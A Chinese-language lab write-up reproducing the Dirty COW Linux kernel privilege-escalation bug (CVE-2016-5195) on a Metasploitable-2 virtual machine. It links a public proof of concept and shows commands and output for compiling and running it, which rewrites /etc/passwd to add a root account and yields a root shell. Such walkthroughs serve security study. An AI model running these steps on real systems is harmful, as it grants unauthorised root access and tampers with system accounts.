cve-2016-5195 dirty cow漏洞复现

1.漏洞描述

漏洞编号: CVE-2016-5195

漏洞名称: Dirty COW

漏洞危害:低权限用户利用该漏洞技术可以在全版本Linux系统上实现本地提权

影响范围: Linux内核>=2.6.22 (2007年发行) 开始就受影响了,直到2016年10月18日才修复。

360 Vulpecker Team: Android 7.0最新的10月补丁安全级别的系统上测试过漏洞POC,确认Android

受影响

2.实验环境

Metasploitable-2Linux下载地址: https://sourceforge.net/projects/metasploitable/

虚拟机用户名: msfadmin 密码: msfadmin

poc地址: https://github.com/FireFart/dirtycow

3.漏洞复现

3.1 将poc上传到虚拟机上

msfadmin@metasploitable:~\$ pwd/home/msfadmin
msfadmin@metasploitable:~\$ ls
dirtycow vulnerable
msfadmin@metasploitable:~\$ [

3.2 查看系统信息

显示当前用户信息

id

使用 uname -a 命令查看linux内核信息,发现在脏牛漏洞范围内,可以进行测试。

uname -a

```
msfadmin@metasploitable:~$ id uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),3 0(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) msfadmin@metasploitable:~$ uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux msfadmin@metasploitable:~$
```

3.3 进行提权

对dirty.c进行编译,生成一个dirty的可执行文件

```
cd dirtycow
 gcc -pthread dirty.c -o dirty -lcrypt
msfadmin@metasploitable:~$ cd dirtycow
msfadmin@metasploitable:~/dirtycow$ gcc -pthread dirty.c -o dirty -lcrypt
msfadmin@metasploitable:~/dirtycow$ ls
dirty dirty.c README.md
msfadmin@metasploitable:~/dirtycow$
执行`./dirty 111111("111111"是密码)命令,即可进行提权
 ./dirty 111111
msfadmin@metasploitable:~/dirtycow$ ./dirty 111111
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 111111
Complete line:
firefart:fiuUDDR34s2/2:0:0:pwned:/root:/bin/bash
mmap: b7f9b000
madvise 0
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '111111'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '111111'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
msfadmin@metasploitable:~/dirtycow$
使用新密码登录firefart
 su firefart
 输入密码: 111111
 id
     msfadmin@metasploitable:~/dirtycow$ su firefart
     Password: 111111
     firefart(metasploitable:/home/msfadmin/dirtycow# id
     uid=0(firefart) gid=0(root) groups=0(root)
```

firefart@metasploitable:/home/msfadmin/dirtycow#

成功提权。